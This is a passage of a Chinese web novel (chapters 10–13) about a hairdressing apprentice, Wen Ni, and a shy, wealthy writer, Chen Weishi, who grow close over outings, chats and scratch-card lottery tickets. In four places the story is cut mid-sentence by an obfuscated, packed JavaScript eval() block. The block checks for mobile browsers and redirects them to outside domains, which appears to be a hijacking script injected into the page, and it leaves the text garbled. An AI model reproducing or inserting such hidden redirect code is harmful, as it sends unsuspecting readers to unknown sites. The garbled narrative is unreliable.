吃完饭,又逛了两个景点,两个人都累坏了。 沿着湖堤往最近的上车点走,天色暗了下去,风也越来越凉了。 “姐姐你冷不冷?”她看到陈微时抱着胳膊,便关切地问道。 温旎T恤外面套了个牛仔马甲,是可以穿脱的。她说着便把马甲脱了下来,披在了陈微时身上。 陈微时抿了抿唇,没有拒绝她的好意。 湖边的晚市开了,两个人顺路从中间穿过去,温旎最喜欢这些小玩意儿,忍不住左看右看,其中有个草编摊位吸引住了她。 老人的手灵活翻动,宝塔,星星,葫芦……等等物件便变了出来。 然后用毛笔写上不同的字,再套上红绳和穗子,一个草编的吉祥挂件就做好了。 “姐姐这个好漂亮啊。”温旎眼睛发亮,明明穿了那么酷的衣服,化了张扬精致的妆,笑容却那么可爱,“姐姐你喜欢哪个?我送你。” 这个她是实在忍不住了,太漂亮了。 陈微时走近仔细看了看,那老人在旁边解说道:“宝塔寓意‘节节高升’,葫芦寓意‘福禄双全’……” “我要宝塔。”还没听完,温旎就说道。 “好,给您一个‘节节高升’!”老人很会说话,摘下一个宝塔递给她,“十五元!” 这次温旎抢先拿出手机扫码付了两人份的钱:“姐姐快选一个。” 陈微时看了看那上面的字,最后选了一颗星星。 “星星?”温旎奇怪地拿过来看了看,只见上面只写了两个字:幸福。 害。温旎索然无味地把它放回陈微时手里。 幸福,什么算幸福呢?这两个字太虚了,太大了,她不喜欢,她喜欢实实在在的东西,看得见摸得着的。 陈微时却很小心地把它放进了包里。 晚市尽头是一片花灯和纸伞,远看挺漂亮的,温旎拿出手机:“姐姐!咱们来张自拍吧!” 听到“自拍”两个字,陈微时心头瞬间就轻快了许多,唇角忍不住翘了翘,“……好。” 温旎拿起手机,侧头看向陈微时,觉得她站得还不够近,特意又往她身侧凑了凑,两个人的头发都挨在了一起。 咔嚓一声,手机记录下了这一刻。 “姐姐,你看好看吧?”温旎得意地翻出来给陈微时看,“我拍照技术还是可以的吧?” 不过……陈微时好像表现得有点僵硬。 温旎又拿起手机,咔嚓咔嚓拍了几张,都是趁着陈微时没反应过来时拍的。 “这样会更自然的。姐姐,你这样自然笑起来是最好看的。”温旎歪头把手机给她看,“你看,是吧?” 确实,趁陈微时不注意的时候拍,陈微时的状态才是最好的。 这是陈微时自己都没注意到的。 她侧头看向温旎。花灯的光亮映在对方脸上,蜜色的肌肤更添一层朦胧暖色,即便妆容张扬,也遮掩不住脸上的温柔沉静神色。 温旎应该自己也没注意吧?她有时看起来,有着不符合年龄的成熟,哪怕她说过,周围的人都说她人来疯,幼稚又冲动。 “那……照片要记得发我一份。”陈微时憋了半天,终于忍不住柔声提醒。 她怕温旎忘记了。 “好的~”温旎又乖又甜地对她笑了笑,“姐姐,希望你今天是开心的。” “我当然开心。”陈微时立刻表示肯定。 回去已经很晚了,温旎蹑手蹑脚地溜进宿舍,冲了个澡,又蹑手蹑脚上了床。 当然不会那么快睡,她翻出今天的照片,先是挑美食照出来,发了个朋友圈;又把自己的美照挑了一张出来发抖音,配上一段复制黏贴的伤感文案。 最后,她翻着余下的照片,突然想到要把自拍发给陈微时。 她挑了两张最好看的,给陈微时发了过去,然后就突然被一张照片吸引住了。 那是她刚才一眼就pass掉的废片,陈微时没看镜头在看她。 越看这张照片,越是有点别扭。 反正,她不会这样看陆笙,也不会这样看王静然。 她倒是这样看过江晓月。 10.委屈 三年前,温旎还在海城打工时,被同事借走了一万块钱。 对于当时只有十九岁的她来说,这是她全部的积蓄,也是她接下来两个月的房租、生活费,以及外婆的药钱。 那位同事说家里人住院了,她的钱不够交住院费,现在很着急。 她还说过几天妹妹就会打钱给她,到时候她就有钱了。 于是温旎相信了,把钱借给了她。 她比温旎大,平时对温旎还算照顾,那么几次小小恩情,温旎铭记在心。 但温旎没料到,就在她把钱借出去的第二天,那位同事便毫无征兆地离职了。 温旎微信联系她,红色的感叹号一瞬间刺痛了她的眼睛。 问了其他同事,温旎才知道,原来这个同事前几天就跟店长说了要离职,至于家里人住院的事,谁也没听她提过。 温旎尝试通过各种渠道要回这笔钱,都没有成功。而她自己也没有太多精力和时间浪费在这件事上,那之后的两个月她过得异常艰辛,拼命地做各种兼职,才勉强把外婆的药钱给腾出来。 有时候她一天只吃两个包子,实在太饿了就偷喝店里的牛奶。 那一天她下了晚班,头晕眼花地往家里走,路过一家炸串摊,香味勾得她走不动路。 站在旁边看了半天,连老板都奇怪地看向她,她这才不得不扭头走,一抬眼,便看到前面不远处,有家刮奖站。(1) 那瞬间她萌生了一个念头:她想赌一把。 如果中了,她就吃炸串。 微信零钱里就剩五十多块钱了。她拿出二十块买了一张,站在深夜充斥着炸烤香味的空气中,一点一点把涂层刮开。 可以说,这是她人生中最紧张的时刻。 刮到中间,一个数字“7”突然出现,她心头一跳,刮下面,看到了“五十”,立刻跳起来大喊:“中了!我中了!” 有路人投来异样的目光,就连刮奖站的老板都惊讶了:“中大奖了?” 温旎转头对她欢呼:“五十!我中了五十!” 刮奖站老板:“……” 她还以为至少是七百块的那个大奖呢! 老板翻着白眼给温旎兑奖,女孩却完全不在意她的态度,笑得很灿烂:“谢谢啦!” 倒是搞得老板有些不好意思:“手气蛮好的,还刮不?” 温旎摆手:“不刮了不刮了!” 花了二十中了五十,相当于中了三十,她拿十五块买了炸串,虽然后面回忆起来,那炸串味道很一般,甚至有点不新鲜,但当时,她真觉得那是世界上最好吃的东西。 说着不会再刮了,可当她又觉得肚子饿或者没盼头的时候,就又去刮。 前几次运气都不错,还中过一百,后来不知怎么,每次都是白送二十块。 后来回到江城,她就拉着王静然去刮。 王静然奇怪道:“怎么突然开始玩这个了?” 她知道,温旎向来节俭,从不会花这种有去无回的钱。 温旎低头刮着涂层,长睫覆住了瞳仁的晶亮,嘴上嘻嘻哈哈的:“那当然是想发财啦。” “真的?”王静然惊了,“你真信这玩意儿能中啊?” 温旎抬头看了她一眼:“信啊,为什么不信。” “不然我还能信什么。” 她说着,眉眼又弯了起来,嘻嘻哈哈,“哎,早晚有一天我会中一千万的。” 王静然撇嘴:“我做梦都不敢想刮奖中一千万。那所以呢,你中了一千万之后,想干什么?” “嗯……我想跳舞,每天都跳舞。”温旎想了想,说道。 王静然“额”了一声:“原来你是想跳舞,可你现在已经在每天跳舞了啊!” 温旎也“额”了一声。 确实,她现在也在每天都跳舞。下班后两个小时的跳舞时间,就是她每天最大的快乐。 “那能一样嘛。”她刮出最后一个数字,骂了句脏话,“靠。” 又没中。 王静然也把手里的开瓶器一丢,摊了摊手:“哎呀,这不白扔钱嘛,温姐,我劝你戒了。每天多少人在买啊?有几个中的?” “总有人中吧?”温旎拿出手机扫码付款,乌黑深邃的眼睛里倒映着金黄色的灯光,“赌了才知道会不会中。” “也许那个人就是我呢?” 房间里又潮又闷,温旎翻来覆去地看着那张实况照片,没错,陈微时的确是在看她。 这样的眼神,实在让她怀疑,陈微时是否只是真的如同对出租车司机所说的那般,完全只把她当成“妹妹”。 她一直知道自己漂亮可爱受欢迎,即便是陈微时这样的富婆,对她产生好感也是无可厚非的吧? 而且这样的机会跟中了命运彩票差不多——富婆多出现在高端场所,是她完全遇不到的,像陈微时这样低调的社恐,简直是凤毛麟角。 她心跳加速起来,一股燥热席卷全身,睡衣瞬间被汗水浸湿。 不着边际的幻想先理智一步,在头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548718|186264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑里上演起来。 不管怎么说,对方是大作家哎,有钱又有名,如果真的被这样的人喜欢,真是能充分满足她的自恋和虚荣心。 到时候……要是江晓月知道了,会不会后悔死啊? 一想到这个,她就爽得要命。 正爽着,陈微时就给她发来了消息:刚刚在洗澡,没看到消息。 陈微时:拍得很好看 陈微时:[不愧是你.jpg] 最近几天和温旎聊天比较多,陈微时存了许多她发过去的表情包。 看到“陈微时”三个字,温旎不禁心头一跳,赶紧回复:姐姐~我还以为你已经睡了呢。累不累?[叼玫瑰.jpg] 陈微时一只手用干发巾包着头发,另一只手拿着手机,把“叼玫瑰”的表情收藏起来。 她来不及去吹头发,就点开了温旎发过来的合照。 女孩的笑脸比身后灯火更灿烂,唇边笑弧盛满了醇酒,黑白分明的眼眸略带青涩,却已经初现惊艳的波光。 两个人的发丝紧紧挨在一起,温旎对她的亲近感那么自然。 成年之后,陈微时即便是和家人,也没有如此亲近的时刻。 她反复把那两张照片看了几次,点击了“保存原图”。 陈微时:我不累,今天辛苦你了。[叼玫瑰.jpg] 消息发出去的一瞬间,她又快速补上一句:我今天很开心,谢谢你。 她极少这样克服社恐去人多的地方,若不是因为写不出东西,也不会下决心走出去。 要不是有温旎陪着,此行必将深陷于恐惧与尴尬。幸而有她,这一天的时光才如此快乐难忘。 陈微时已经忘记这次出行的初衷,真的沉浸在了出游的开心之中。 温旎回复得很快:姐姐,别老对我说谢谢嘛,咱们俩之间不需要这样。 温旎:姐姐,其实我很委屈的。[要哭了.jpg] 陈微时秀眉蹙起,坐在床沿,就这样湿着头发跟温旎聊天:你怎么了? 温旎:一直都是我在说啊说,我几乎把我所有事都告诉你了,可是你都不跟我说你的事[委屈] 温旎:我也对你很好奇呀。 ——温旎绝对没撒谎,她此时对陈微时,真是充满了好奇。 她急于知道富婆的一切信息。 陈微时咬了咬唇,有些无措:那你想知道我的什么事呢? 温旎:比如……你现在有男朋友吗?[狗狗推眼镜.jpg] 11.依赖 干发巾里的头发都已经半干了,五月初的天微微凉,陈微时却仍然没有要开始吹头发的样子。 她端坐在床头,低垂着眼睫,反复咀嚼着温旎这句问话,删删写写十几秒钟,才干巴巴地回复了一句:没有的。 温旎:那以前呢?以前有没有谈过呀。 要是别人这么追根究底,陈微时恐怕会产生抵触情绪,但对方是温旎,她不知怎么,不仅并不反感,反而心下还有几分难以言明的愉悦。 说不清是单纯因为和温旎聊天开心,还是因为温旎对她好奇而开心。 陈微时:以前也没有。 温旎:啊,真的吗?这不对啊姐姐。 陈微时:怎么不对呢? 温旎:你这么好看,这么有才华,怎么可能没人追你。 陈微时咬了咬唇。她又不知道怎么回答了。 好在温旎仿佛知道她此时在手足无措,主动又说了一句话:那,你喜欢什么样的男孩子啊? 陈微时从来没想过谈恋爱,当然也不知道自己喜欢什么样的男孩子……或是,女孩子。 她很认真地回复:我也不知道。 温旎:姐姐,你说,是不是只有遇到了真正喜欢的人,才会知道自己喜欢什么类型的呀。 她像一个无知天真的小妹妹,在对一个比她大几岁的成熟姐姐发问,仿佛对方有着无数的人生经验,可以给懵懂的她一些指点。 陈微时想了想,回复道:应该是这样的,你说得很有道理。 温旎看着荧荧闪烁的手机屏幕,抹了把额头上冷掉的汗水,继续快速打字:姐姐,好晚了,你早点休息,我们明天再聊。[叼玫瑰.jpg] 陈微时:好的,晚安。 温旎:晚安紫啧~ 陈微时:紫啧是什么意思? 温旎:就是姐姐呀[视频] 陈微时:原来是这样,还挺好笑的。那,晚安了。 温旎坚决不会让富婆的话落地上,又连发了好几个“爱你”“叼玫瑰”“比心”“美女姐姐晚安”表情包。 确实很晚了,潮湿的夜,终于归于沉寂,外面只有沙沙雨声。 温旎燥热的心也安静了许多。 刚才她急于跟陈微时说晚安,并不仅仅是因为太晚,还因为她突然对自己产生了厌恶。 顺带着,对勾起她贪欲的、对面的陈微时也产生了一丝厌恶。 她怀念江城的那个自己——虽然那时候也和现在一样艰难,甚至比现在过得还要清苦,但她如此相信一切会更好,从来没把自己放到如此卑鄙的位置上过。 为什么陈微时非要这么好,这么善良,这么实在。 但凡陈微时不这么好,她也不会对自己如此厌恶。陈微时越好,越显得她可耻。 为什么帮助她的人,偏偏是陈微时。 不过,谁知道后面会怎么样呢?也许陈微时对她只是一时好感,也许陈微时只是一个直女,一张照片并不能完全说明什么…… 一动如此复杂的脑子,她就发困。 思想斗争都没维持到五分钟,她就已经酣然睡去了。 接下来的两天,温旎没有再找陈微时聊那些刻意的天,又恢复到了从前的样子——拍拍自己今天偷师了什么技术,发今天吃了什么拼好饭,问陈微时工作累不累……诸如此类。 只要她发,陈微时就会回复。 其实温旎也有点好奇——如果是别人呢,别人给陈微时发消息,陈微时也都会回复吗? 在她印象中,陈微时虽然工作时间自由,却也有许多事要忙,并没大把时间泡在手机里。 总之,这两天她一直心不在焉的,又没少被徐阳抓着机会骂。 其实她学得很不错,按照规矩,早就该慢慢开始正式上手了,可徐阳总是压着她,不让她单独给客人剪头发。 温旎只能暂时继续洗头发。 中午她照常和陆笙躲在后面吃炸鸡,陆笙吃万年不变的甜辣口味,她今天则换了芥末蜂蜜味。 她一只手戴着一次性手套,另一只手拿手机刷视频,不时笑几声。 刷着刷着,“晓风残月”的视频突然被她刷到了。 这算是一条记录日常的视频,“晓风残月”正在对着镜头化妆,后面她养的白猫在跑来跑去,一个看不到脸的男人走来走去跟着那白猫,不时跟“晓风残月”说笑一句,“晓风残月”一副无奈又娇羞的样子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553327|186264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 温旎顿时觉得嘴里的炸鸡都变恶心了,蜂蜜和芥末的组合仿佛那对狗/男/女。 她也就几天没刷江晓月的动态,这么快又开始晒上恩爱了? 她像自虐一样把视频又看了一遍,看到江晓月脸上的幸福笑意,那男人微胖的侧影,以及他身后豪装的室内背景…… 钱,会让人如此快乐啊。 以前江晓月和她在一起,都没笑得这么开心过。 陆笙凑过来:“看什么呢?” “……哦,没什么。”温旎快速把视频划过去,嘻嘻哈哈,“看到了点恶心的东西。” 她把最后一口炸鸡塞进嘴里,用力嚼着,转头望向窗外。雨还在连绵不绝,她那双亮晶晶的眼眸中湿润了一瞬,随即又像什么都没发生般蒸发掉。 陈微时:今天是心情不好吗? 晚上十点多,快要下班的时候,温旎突然收到了这样一条消息。 也真是奇怪,明明她什么都没说,尤其是什么都没跟陈微时说,第一个发现她心情不好的,竟然是社恐的陈微时。 温旎靠着洗发池,回复道:你怎么知道的呀。我今天确实心情不好。 陈微时:你心情不好其实很容易看出来,没有那种笑嘻嘻的感觉,中午给我发完炸鸡的图片,也没有发表情包。 陈微时的回答这么长,很正经,很严肃,很认真,仿佛这是一件需要研究的、重要的事情。 一时间温旎竟有些鼻酸。 连她自己都没注意到的事情,怎么陈微时就注意到了。 她从来没被这样在意过。 她深呼吸了一下,回复道:姐姐,谢谢你,你对我真好。 这句感谢,毫无杂质,真心实意。 可陈微时这毫无条件的好,又让她莫名地有些依赖,有些任性,有些想任意妄为。 她很想知道,陈微时到底能有多在意她呢? 那条底线,到底在哪里呢? 从很小的时候起,她就不相信会有人对自己好了。 于是,她在极端无聊、极端恶趣味的驱使下,快速打字:姐姐,告诉你一个秘密,希望不会吓到你。 “我其实,喜欢女孩子。” 12.小猫 看着沉寂的聊天框,温旎想,也许陈微时已经开始讨厌她了。 就算陈微时对她真有那么几分微妙感觉,也未必真的打算和她怎么样。她也不是没遇到过喜欢她的直女。 她明知道这样赤/裸裸把话说出来,会吓到对方,却还是忍不住这样做了。 如果陈微时真的讨厌她了,从此远离她,她们仍旧是陌路人,那她反而会轻松一些。 命运彩票敲响了她的门,她却选择放弃这个机会,她知道这样很傻x,可她真讨厌这样的自己。 如果真的刮开了这张命运彩票,那她和江晓月又有什么区别? 可是……想到对她那么好的陈微时也会讨厌她,她心里突然很不好受,心里像是被老鼠啃了一样乱糟糟的。 “躲这里玩手机,也不知道去前面招呼一下客人。”徐阳不知何时晃了进来,见她对着手机发呆,不满地训斥道。 原本他以为温旎会像平时一样不做反应,却没想到对方却转过头来,那双乌黑深邃的眼眸死盯着他。 徐阳吓了一跳:“……看什么看?还不去干活。” “我不是前台。”温旎语气有些冲,一字一顿地说道,“那不是我的活。” 徐阳愣了一下:“你……你要反了是吧?” 温旎一言不发死盯着他,就在徐阳以为她要和自己打架的时候,温旎的手机突然响了。 她也不搭理徐阳了,低头去看手机。 陈微时:为什么会被吓到?这很正常啊。 陈微时:[叼玫瑰.jpg] 温旎低头看着那行简单的字,那个她原本是用来讨好敷衍的表情包,不知怎么,刚才的火气突然一瞬间消散了。 陈微时并没有讨厌她。 “没反。”她把手机揣进工装裤口袋,语气已经平静下来,挑了挑眉,“去就去。” 留下徐阳莫名其妙地看着她的背影:“神神经经的。” 半夜下班,温旎累都累死了,没再去研究江晓月的动态,回宿舍后倒头就睡。 第二天天气很热,空气潮闷,头顶的吊扇开了起来,呼呼啦啦地转着。 温旎赖在床上不想起,趴着玩手机。她睡觉不爱穿裤子,只着一件运动风内裤。 周倩素来比她们这些小朋友自律,起来比较早,隔着蚊帐看到温旎,就忍不住上来伸手拍了一把。 “真有弹性。”拍完不忘感叹一句。 温旎叫了一声“倩姐!你怎么上来了!”然后迅速翻身把被子裹上。 她也是服了周倩,她早就在宿舍坦诚公开过自己喜欢女孩子,也说了自己会努力避嫌的,结果倒好,周倩和王薇两个姐姐一点没把她的性取向当回事,该拍她拍她,该摸她摸她。 “小温你身材这么好!要啥有啥的。”周倩隔着被子还要再拍一把,“平时净穿那种宽宽松松的裤子,我都没看出来!羡慕了。” 温旎“哎哟”了几声,哭笑不得,把自己裹了个严严实实:“倩姐!” “啧啧,你这要是穿个小裙子,得迷死多少人。”周倩调戏起她来也是没完没了,“说不定徐阳都想追你。” “对!”原本躺在床上玩游戏的陆笙突然弹坐起来,“到时候不得气死曹悦。” 温旎裹着被子,表情已经由哭笑不得变成了猛翻白眼——这都什么跟什么,她为了气曹悦,要让徐阳爱上自己??? “你们都少看打脸短剧。”温旎在被子里穿裤子,“我让那个傻x看上我我图什么啊,我又不喜欢男的。” “对啊也是图什么啊。”陆笙眼睛没离开屏幕,一边猛猛操作一边附和,“就算喜欢男的,徐阳要长相没长相,要钱没钱的,也就店长和他关系好点。” “就是。”周倩想了想,觉得也是,“小温就你这长相和身材,应该配个大美女。” “是吧是吧?”温旎穿好了睡裤,拨了拨额前的碎发,站在她床边那半块镜子前孤芳自赏,“我也觉得。” 她一定会找到个大美女,气死江晓月。 江晓月是那种比较纯欲的长相,她现在最讨厌的就是纯欲长相,她要找个明艳大美女,热情似火那种! 就在她对着镜子边刷牙边发誓时,搁在架子上的手机突然振动了下。 陈微时:等下忙吗? 陈微时:我的外卖换了菜谱,菜有点多,不知道你有没有空过来吃饭。[图片] 温旎含着牙刷,点开图片。 的确换了菜谱,跟之前的菜相比,现在这一桌有不少辣口和红烧的菜,色泽鲜亮诱人,让她的口腔很难保持干燥。 她实在忍不住。 温旎:呜呜呜姐姐你真好~ 温旎:[小猫飞奔.jpg] 看着那个正在飞奔而来的黄色小猫,陈微时不禁弯了弯唇角,点了“添加表情”。 温旎真是飞奔过去的,她快饿死了,也没顾得上夹头发。 所以陈微时打开门,看到的便是一只头发蓬松的小猫。 “姐姐~”温旎眉眼弯弯,又乖又甜,“早~” 都中午了,她说早。 陈微时却一点都不介意,侧身把她让进来:“……早。” 温旎轻车熟路地换上自己的蓝拖鞋,陈微时站在她旁边,刚好看到她发顶,上面有一些细小的水珠。 “又没带伞吗?”陈微时问道。 温旎换好了鞋子,满不在乎地笑道:“没事的,这么小的雨。拿伞怪麻烦的。” 她今天是完全的素颜,碎发蓬松如小动物,比平时多了几分少年气,因为没涂粉底,能看清皮肤的每一个细节,陈微时注意到她皮肤真的很好,虽然不白,却很通透均匀。 像蜂蜜一样。 这是陈微时能想到的第一个比喻。 “哇!好香!”温旎洗了手坐下,面对桌上的四菜一汤,两眼放光,“姐姐!都是我爱吃的!” 陈微时浅浅一笑,习惯性地别开眼神:“你不嫌弃就好,多吃点。” “我怎么会嫌弃!”温旎夹起一块红烧排骨,美美地啃了一口,眯起了眼睛。 看她吃饭,会让人真切地感觉到,美食对人类来说的确是一种享受。 “姐姐你怎么还是吃这么少。”温旎放下筷子,发现陈微时那边的骨碟只有两块骨头,而她这边已经堆起了小山,不由得痛心疾首,“姐姐,你家缺人吃剩饭吗?我可以。” 她是个没心没肺的人,讲话容易脱口而出,这一刻光顾着痛心疾首了,早已忘记陈微时实际上曾经邀请过她。 “真的可以吗?”陈微时把耳侧发丝捋到后面,认真地看着她。 “啊……”温旎愣了下,反应过来,有点不好意思地咬住嘴唇,“不是,姐姐,我不是那个意思……我只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559523|186264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是……” ……只是开玩笑的。 可看到陈微时那么认真地看着她,“开玩笑”三个字,竟然有点说不出口。 明明是她占便宜的一件事,怎么好像变成了陈微时在请求她。 她看着陈微时,心里一热:“如果姐姐不觉得我打扰的话,我当然可以啦。” 陈微时唇角上扬的弧度很明显大了一点:“好,那……你每天中午都来吃饭吧。” 吃完饭,温旎抢着把碗筷洗了,刚摘下围裙,转头就看到陈微时拿着一个透明密封袋走过来。 “……这个给你。”陈微时垂下眼睫,把密封袋递向她。 温旎有些疑惑地接过来。 密封袋里是一张素描。女孩单手举伞站在湖边,半侧头看过来,笑得无比灿烂,透明伞上有滴滴雨珠,天色晦暗,路人面目模糊,只有她的笑脸是唯一的鲜妍明媚。 即便是外行人,也能看出这张素描花了大心思,线条阴影勾勒铺展得格外细致,像照片一样定格住了那一刻,却又比照片更美。 “这是……”温旎睁大眼睛,“这是去南湖那天?” “嗯……那天速写的,回来才仔细画了一下。”陈微时两只手交叉放在小腹前,有些不好意思地轻搓着手指,“我不是专业画家,画得不好,但还是想送给你。” “没有啊,姐姐,你画得太好了。”温旎捧在手里上上下下地看,“真的。” 学过舞蹈的她知道,艺术是共通的,有些时候技术并非是好和坏的决定性因素,就像她舞感比老师还好一样,陈微时也很会抓人的神韵。 这一看就是她。 甚至把她所认为的缺点都画上了——比如下嘴唇上一个浅浅的小疤痕,以及左边额头上一个不太合时宜的痣。 这都能说明作者观察得多仔细。 温旎低头看着这幅画,说不清心里是什么感觉。 “我真的很喜欢。”她很郑重地抬头道谢,“谢谢姐姐,真的谢谢。” 她可以说出一千句不用负责的好话,却说不出一句用词精妙的感谢。 “……不用。”陈微时别开目光,轻声说道,“对了,我等下想去刮奖,你想一起去吗?” “我陪你去。”温旎立刻讲义气地说道,“走。” 外面仍旧下着蒙蒙小雨,陈微时拿上那把浅绿色雨伞,递给温旎:“拿着吧,你还要回店里。” 本来温旎想说“没几步”,但不知怎么,又忍不住接过了那把伞,轻轻攥了下伞柄,很乖地说道:“行。” 陈微时拿了那把透明伞,两个人一起走到刮奖站。 陈微时有了经验,走到柜台前,直接拿起一整本,在旁边的椅子上坐下来,撕给温旎一大半:“可以帮我一起刮吗?” “哇,姐姐,你要刮一整本啊?”温旎比她兴奋多了,“好啊好啊。” 她说着坐在了陈微时旁边,利落地拿起旁边的开瓶器递给陈微时,然后侧头眨眼开玩笑道:“姐姐,那我要是中了,算谁的?” “算你的。”陈微时难得没有避开她的目光,毫不犹豫地回答。 “嘿嘿,那我真刮了。”温旎心想还有这等好事,埋头刮了起来,还不时往陈微时那边看一眼,“姐姐,我们比赛,看谁刮出来的奖多。” 陈微时看着她笑得开心的侧脸,唇角也微翘了下:“嗯。” 13.类型 陈微时动作慢条斯理,但每次刮下来,都是直接刮掉一排,她扫一眼那排数字,看有没有中的,再刮下一排。 温旎则动作比较急,但却是一个数字一个数字地刮,充分地享受这个过程。 “芜湖!”温旎欢呼了一声,“中了中了,第一张开门红!” 她说着微微侧身,把“五十元”的图案指给陈微时看,“姐姐你看!” 也不知道是不是她的错觉,好像只要陈微时在,她的运气就会好很多。 陈微时垂下眼睫笑了:“这么快?” 温旎潇洒地弹了一下那张卡片,翘起嘴唇得意地看着她:“你可要加油了哦。” 陈微时忍俊不禁,目光在她笑开的唇瓣上停留了一瞬,又很快收敛:“……好。” 温旎兴致勃勃地继续刮。陈微时仍旧是慢慢地,不时悄悄侧头,看一眼温旎。 只见温旎埋头刮得认真,对待每个数字都一视同仁地尊重。突然她的动作停顿了一下,睁大了眼睛:“……老天奶。” 中奖面额上赫然写着:五百元。 她几乎不敢相信自己的眼睛——刮奖生涯里,她从未中过这么大的奖。 “姐姐,发财了。”她这时反而压低了声音,仿佛生怕五百块飞走了,凑近陈微时小声说道,“咱们就刮到这里吧。” 陈微时迟疑地看向桌上还没刮的那些:“可是……我刚才说要一整本,你要不要把它刮完?就这么走好像不太好……” “哎呀没事的。”温旎压抑着激动,低声说,“这一本就这么一个大奖,咱们现在刮到就是赚到,剩下的就不要了。” “可是……”陈微时还有些犹豫。 她犹豫的功夫,温旎已经拍照留念以及跑去前台兑奖了。 四张崭新的粉红色票子到手,温旎满脸沉醉地亲了一口,感受着RMB的清香。 “咱们运气太好了。”温旎不客气地直接揣进口袋里,对陈微时眨了眨眼睛,笑眯眯地说道,“谢谢姐姐啦。” “嗯。”陈微时看着她眉眼弯弯的侧脸,“你开心就好。” “我开心啊。”温旎很自然地接话,“我知道姐姐你对我好。” 她是大大咧咧,又不是没心肝,当然知道陈微时这是在哄她开心。陈微时甚至都没问,她为什么而不开心。 正因为知道,才无所顾忌地收下。 只有乖乖收下,才不算辜负了陈微时的这一片心意。 两个人一起走出彩票站,陈微时打起透明的雨伞,温旎打起了浅绿色的雨伞,两个人一起走到西门口,温旎回望着陈微时:“姐姐,遇到你之后,和你在一起相处的每个瞬间,每个时刻,我都开心。” “你是这个世界上,除了我外婆以外,对我最好的人。” 她黑白分明的眸中有感动,有感慨,也有一抹令人难以忽视的忧郁、失落。 陈微时带她刮到了大奖,她已经很满足了。 她接受了这五百块的幸运,也即将放弃那张命运彩票。 陈微时愣了下,随即低垂下眼睫,敛去眼中那掩饰不住的心疼:“……” 她不知道该说什么。以她的社交能力,她完全不知道温旎对她的态度为什么又发生了变化——明明前几天还超乎寻常地热情,热情到她有些迷惑,今天那股诡异的热情却又消失,回归到了往日的平淡。 然而这些都不是她最先考虑的。昨天她感觉到温旎情绪不佳时,第一反应就是怎么让温旎开心起来,仅此而已。 她不是一个有情趣有生活的人,也不知道二十二岁的年轻女孩具体喜欢什么,只知道温旎喜欢美食,爱好刮奖,以及,对自己的外形有些小小自恋。 “那明天见啦,姐姐。”温旎率先打破了沉默,又恢复到了平日的样子,笑得很灿烂地跟陈微时告别,“拜拜!” 陈微时抬手轻挥了一下:“……拜拜。” 回家后,陈微时看了一下微信,发现温旎发了朋友圈:我也是有今天了[叉腰狂笑.jpg] 带了一张刮出五百块大奖的照片。 看来是真的开心。 她轻弯起了眼睛,回复微信上私厨商家的消息:就按照今天的菜谱吧,谢谢。 昨天她和徐若华讲了一下,说自己最近胃口不佳,吃不得太清淡的,想改一下食谱。 母亲一开始不太赞同,但后来还是同意了,把私厨商家的微信给了她,让她自己去商量。 以前,这种事都是徐若华一手操办,她只需要好好写东西。 陈微时坐在沙发上,转头看着温旎坐过的位置,不知怎么,又打开了和对方的聊天框,慢慢翻看那些聊天记录。 温旎喜欢女孩子。 虽然通过外表,能有基本的、近乎刻板印象的判断,但温旎这么直白地告诉她,感觉还是很不一样。 那么……温旎会喜欢什么样的女孩子呢? 她能这么肯定地说出来,肯定是因为,她有喜欢的女孩子吧? 陈微时心里很乱。 她从不是一个迂腐教条的人,但她无法忍受自己对一个小她六岁的妹妹,产生这种想法。 尤其是这种想法,似乎有愈演愈烈的趋势。 她倏地别开了目光,披上披肩,在电脑跟前坐下,打开名为《第五个季节》的文档。 她只是为了取材,仅此而已。 对温旎,她也是出于心疼,仅此而已。 此条朋友圈收到了大量点赞以及羡慕嫉妒恨,温旎很满意。 她的朋友列表里不知道有多少“老赌棍”,一年到头看不到个三位数的奖,看到她中这么大,可不是要破防嘛。 看着这些好友鬼哭狼嚎,温旎倚着洗发池笑得开心。 王静然:哟呵,发财啦? 温旎挑眉,回复道:嗯~呢。 王静然:牛。 温旎故作谦虚地显摆:其实也是那个姐姐带我刮的,要不是她拿了一整本,我只刮一张就不一定有这么好运了。 王静然:就是那个请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 